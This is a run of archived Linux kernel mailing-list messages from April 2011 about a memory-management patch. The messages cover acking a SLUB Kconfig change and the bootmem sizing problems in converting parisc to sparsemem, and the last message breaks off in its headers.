Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Fri, 22 Apr 2011 20:00:52 +0300
Lines: 32
Approved: news@gmane.org
Message-ID: <1303491652.15231.81.camel@jaguar>
References: <1303317178.2587.30.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
	 <20110421220351.9180.A69D9226@jp.fujitsu.com>
	 <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
	 <alpine.DEB.2.00.1104211500170.5741@router.home>
	 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
	 <1303421088.4025.52.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com>
	 <1303422566.4025.56.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211505320.20201@chino.kir.corp.google.com>
	 <BANLkTi=JGeWiFm-9H-2vHDsU1v7ykDt1UA@mail.gmail.com>
	 <1303480195.2590.2.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303491668 30161 80.91.229.12 (22 Apr 2011 17:01:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 17:01:08 +0000 (UTC)
Cc: David Rientjes <rientjes@google.com>,
	Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 19:01:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDJj1-0001T5-3Z
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 19:00:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756314Ab1DVRA6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Apr 2011 13:00:58 -0400
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:45388 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756292Ab1DVRA5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Apr 2011 13:00:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 2F0F95A626C;
	Fri, 22 Apr 2011 20:00:56 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp5.welho.com ([213.243.153.39])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id lM8qnK4NrWxq; Fri, 22 Apr 2011 20:00:53 +0300 (EEST)
Original-Received: from [192.168.0.14] (cs181148025.pp.htv.fi [82.181.148.25])
	(using SSLv3 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp5.welho.com (Postfix) with ESMTPS id 174EE5BC003;
	Fri, 22 Apr 2011 20:00:53 +0300 (EEST)
In-Reply-To: <1303480195.2590.2.camel@mulgrave.site>
X-Mailer: Evolution 2.30.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3659 gmane.linux.kernel.mm:61882 gmane.linux.kernel:1130019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3659>

Hi James,

On Fri, 2011-04-22 at 08:49 -0500, James Bottomley wrote:
> > I'm OK with this Kconfig patch. Can someone send a proper patch with
> > signoffs and such? Do we want to tag this for -stable too?
> 
> I already did here:
> 
> http://marc.info/?l=linux-arch&m=130324857801976
> 
> I got the wrong linux-mm email address, though (I thought you were on
> vger).

Grr, it's a SLUB patch and you didn't CC any of the maintainers! If that
was an attempt to sneak it past me, that's not cool. And if you left it
out by mistake, that's not cool either!

> I've got a parisc specific patch already for this (also for stable), so
> I can just queue this alongside if everyone's OK with that?

Feel free, I'm not subscribed to linux-arch so I don't have the patch in
my inbox at all:

Acked-by: Pekka Enberg <penberg@kernel.org>

			Pekka

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Fri, 22 Apr 2011 12:03:30 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <1303491810.2590.26.camel@mulgrave.site>
References: <1303317178.2587.30.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
	 <20110421220351.9180.A69D9226@jp.fujitsu.com>
	 <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
	 <alpine.DEB.2.00.1104211500170.5741@router.home>
	 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
	 <1303421088.4025.52.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com>
	 <1303422566.4025.56.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211505320.20201@chino.kir.corp.google.com>
	 <BANLkTi=JGeWiFm-9H-2vHDsU1v7ykDt1UA@mail.gmail.com>
	 <1303480195.2590.2.camel@mulgrave.site>  <1303491652.15231.81.camel@jaguar>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303491821 30937 80.91.229.12 (22 Apr 2011 17:03:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 17:03:41 +0000 (UTC)
Cc: David Rientjes <rientjes@google.com>,
	Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 19:03:35 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDJlW-0003OI-VS
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 19:03:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756168Ab1DVRDe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Apr 2011 13:03:34 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53068 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756139Ab1DVRDd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Apr 2011 13:03:33 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3F06A8EE0A4;
	Fri, 22 Apr 2011 10:03:33 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hC8VhQsdAzeZ; Fri, 22 Apr 2011 10:03:33 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2132F8EE01D;
	Fri, 22 Apr 2011 10:03:32 -0700 (PDT)
In-Reply-To: <1303491652.15231.81.camel@jaguar>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3660 gmane.linux.kernel.mm:61883 gmane.linux.kernel:1130021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3660>

On Fri, 2011-04-22 at 20:00 +0300, Pekka Enberg wrote:
> Hi James,
> 
> On Fri, 2011-04-22 at 08:49 -0500, James Bottomley wrote:
> > > I'm OK with this Kconfig patch. Can someone send a proper patch with
> > > signoffs and such? Do we want to tag this for -stable too?
> > 
> > I already did here:
> > 
> > http://marc.info/?l=linux-arch&m=130324857801976
> > 
> > I got the wrong linux-mm email address, though (I thought you were on
> > vger).
> 
> Grr, it's a SLUB patch and you didn't CC any of the maintainers! If that
> was an attempt to sneak it past me, that's not cool. And if you left it
> out by mistake, that's not cool either!

No, christoph was directly on the cc ... although I didn't realise there
were more slub maintainers.

> > I've got a parisc specific patch already for this (also for stable), so
> > I can just queue this alongside if everyone's OK with that?
> 
> Feel free, I'm not subscribed to linux-arch so I don't have the patch in
> my inbox at all:
> 
> Acked-by: Pekka Enberg <penberg@kernel.org>

Will do, thanks.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Fri, 22 Apr 2011 13:19:16 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <1303496357.2590.38.camel@mulgrave.site>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
	 <1303411537.9048.3583.camel@nimitz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303496371 23833 80.91.229.12 (22 Apr 2011 18:19:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 18:19:31 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>
To: Dave Hansen <dave@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 20:19:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDKwr-0005Nu-UR
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 20:19:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755448Ab1DVSTV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Apr 2011 14:19:21 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35461 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753697Ab1DVSTU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Apr 2011 14:19:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 294BA8EE0A4;
	Fri, 22 Apr 2011 11:19:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ez4s-DVqT8u7; Fri, 22 Apr 2011 11:19:20 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BCBF38EE01D;
	Fri, 22 Apr 2011 11:19:18 -0700 (PDT)
In-Reply-To: <1303411537.9048.3583.camel@nimitz>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3661 gmane.linux.kernel.mm:61884 gmane.linux.kernel:1130041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3661>

On Thu, 2011-04-21 at 11:45 -0700, Dave Hansen wrote:
> On Thu, 2011-04-21 at 13:33 -0500, Christoph Lameter wrote:
> > http://www.linux-mips.org/archives/linux-mips/2008-08/msg00154.html
> > 
> > http://mytechkorner.blogspot.com/2010/12/sparsemem.html
> > 
> > Dave Hansen, Mel: Can you provide us with some help? (Its Easter and so
> > the europeans may be off for awhile) 
> 
> Yup, for sure.  It's also interesting how much code ppc64 removed when
> they did this:
> 
> http://lists.ozlabs.org/pipermail/linuxppc64-dev/2005-November/006646.html

I looked at converting parisc to sparsemem and there's one problem that
none of these cover.  How do you set up bootmem?  If I look at the
examples, they all seem to have enough memory in the first range to
allocate from, so there's no problem.  On parisc, with discontigmem, we
set up all of our ranges as bootmem (we can do this because we
effectively have one node per range).  Obviously, since sparsemem has a
single bitmap for all of the bootmem, we can no longer allocate all of
our memory to it (well, without exploding because some of our gaps are
gigabytes big).  How does everyone cope with this (do you search for
your largest range and use that as bootmem or something)?

James


If 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Hansen <dave@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Fri, 22 Apr 2011 13:24:48 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <1303503888.9308.6661.camel@nimitz>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
	 <1303411537.9048.3583.camel@nimitz>
	 <1303496357.2590.38.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303503915 31771 80.91.229.12 (22 Apr 2011 20:25:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 20:25:15 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
        KOSAKI Motohiro
 <kosaki.motohiro@jp.fujitsu.com>,
        David Rientjes <rientjes@google.com>,
        Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
        Andrew
 Morton <akpm@linux-foundation.org>,
        Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
        LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org,
        Ingo Molnar <mingo@elte.hu>, x86 maintainers
 <x86@kernel.org>,
        Tejun Heo <tj@kernel.org>, Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Fri Apr 22 22:25:02 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QDMuT-0007OO-H5
	for glkm-linux-mm-2@m.gmane.org; Fri, 22 Apr 2011 22:25:02 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id DA5BF8D0047; Fri, 22 Apr 2011 16:24:58 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0F9FE8D0048; Fri, 22 Apr 2011 16:24:57 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 021108D0047; Fri, 22 Apr 2011 16:24:56 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail191.messagelabs.com (mail191.messagelabs.com [216.82.242.19])
	by kanga.kvack.org (Postfix) with ESMTP id 143448D003B
	for <linux-mm@kvack.org>; Fri, 22 Apr 2011 16:24:56 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: dave@linux.vnet.ibm.com
X-Msg-Ref: server-12.tower-191.messagelabs.com!1303503895!64578035!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [32.97.182.137]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTgyLjEzNyA9PiAyNTEwODI=\n
Original-Received: (qmail 30918 invoked from network); 22 Apr 2011 20:24:55 -0000
Original-Received: from e7.ny.us.ibm.com (HELO e7.ny.us.ibm.com) (32.97.182.137)
  by server-12.tower-191.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 22 Apr 2011 20:24:55 -0000
Original-Received: from d01relay07.pok.ibm.com (d01relay07.pok.ibm.com [9.56.227.147])
	by e7.ny.us.ibm.com (8.14.4/8.13.1) with ESMTP id p3MK2aGr025374
	for <linux-mm@kvack.org>; Fri, 22 Apr 2011 16:02:36 -0400
Original-Received: from d01av04.pok.ibm.com (d01av04.pok.ibm.com [9.56.224.64])
	by d01relay07.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p3MKOq6W1097906
	for <linux-mm@kvack.org>; Fri, 22 Apr 2011 16:24:52 -0400
Original-Received: from d01av04.pok.ibm.com (loopback [127.0.0.1])
	by d01av04.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p3MKOp1u030839
	for <linux-mm@kvack.org>; Fri, 22 Apr 2011 16:24:52 -0400
Original-Received: from [9.76.207.215] (sig-9-76-207-215.mts.ibm.com [9.76.207.215])
	by d01av04.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p3MKOnNU030805;
	Fri, 22 Apr 2011 16:24:49 -0400
In-Reply-To: <1303496357.2590.38.camel@mulgrave.site>
X-Mailer: Evolution 2.30.3 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61886 gmane.linux.kernel:1130068 gmane.linux.ports.parisc:3662
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61886>

On Fri, 2011-04-22 at 13:19 -0500, James Bottomley wrote:
> I looked at converting parisc to sparsemem and there's one problem that
> none of these cover.  How do you set up bootmem?  If I look at the
> examples, they all seem to have enough memory in the first range to
> allocate from, so there's no problem.  On parisc, with discontigmem, we
> set up all of our ranges as bootmem (we can do this because we
> effectively have one node per range).  Obviously, since sparsemem has a
> single bitmap for all of the bootmem, we can no longer allocate all of
> our memory to it (well, without exploding because some of our gaps are
> gigabytes big).  How does everyone cope with this (do you search for
> your largest range and use that as bootmem or something)? 

Sparsemem is purely post-bootmem.  It doesn't deal with sparse
bootmem. :(

That said, I'm not sure you're in trouble.  One bit of bitmap covers 4k
(with 4k pages of course) of memory, one byte covers 32k, and A 32MB
bitmap can cover 1TB of address space.  It explodes, but I think it's
manageable.  It hasn't been a problem enough up to this point to go fix
it.

-- Dave

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Fri, 22 Apr 2011 15:35:50 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <1303504550.2590.43.camel@mulgrave.site>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
	 <1303411537.9048.3583.camel@nimitz>
	 <1303496357.2590.38.camel@mulgrave.site>
	 <1303503888.9308.6661.camel@nimitz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303504563 2862 80.91.229.12 (22 Apr 2011 20:36:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 20:36:03 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>
To: Dave Hansen <dave@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 22:35:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDN51-0005W0-1a
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 22:35:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756588Ab1DVUfy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Apr 2011 16:35:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46869 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756418Ab1DVUfx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Apr 2011 16:35:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 940BE8EE0FD;
	Fri, 22 Apr 2011 13:35:53 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eMWE34piMXKw; Fri, 22 Apr 2011 13:35:53 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 463A68EE01D;
	Fri, 22 Apr 2011 13:35:52 -0700 (PDT)
In-Reply-To: <1303503888.9308.6661.camel@nimitz>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3663 gmane.linux.kernel.mm:61887 gmane.linux.kernel:1130074
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3663>

On Fri, 2011-04-22 at 13:24 -0700, Dave Hansen wrote:
> On Fri, 2011-04-22 at 13:19 -0500, James Bottomley wrote:
> > I looked at converting parisc to sparsemem and there's one problem that
> > none of these cover.  How do you set up bootmem?  If I look at the
> > examples, they all seem to have enough memory in the first range to
> > allocate from, so there's no problem.  On parisc, with discontigmem, we
> > set up all of our ranges as bootmem (we can do this because we
> > effectively have one node per range).  Obviously, since sparsemem has a
> > single bitmap for all of the bootmem, we can no longer allocate all of
> > our memory to it (well, without exploding because some of our gaps are
> > gigabytes big).  How does everyone cope with this (do you search for
> > your largest range and use that as bootmem or something)? 
> 
> Sparsemem is purely post-bootmem.  It doesn't deal with sparse
> bootmem. :(

Well, this is enabled in discontigmem, sigh.

> That said, I'm not sure you're in trouble.  One bit of bitmap covers 4k
> (with 4k pages of course) of memory, one byte covers 32k, and A 32MB
> bitmap can cover 1TB of address space.  It explodes, but I think it's
> manageable.  It hasn't been a problem enough up to this point to go fix
> it.

I think the platform limited physical address range is 42 bits, so I
suppose that's 128MB ... hopefully we should have that as a contiguous
range from the end of the loaded kernel.  We're lucky they didn't enable
the full ZX1 address range; that would have been 48 bits (or a whole
gigabyte just for the bitmap).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Fri, 22 Apr 2011 16:33:05 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1303507985.2590.47.camel@mulgrave.site>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
	 <1303411537.9048.3583.camel@nimitz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303508006 20571 80.91.229.12 (22 Apr 2011 21:33:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 21:33:26 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
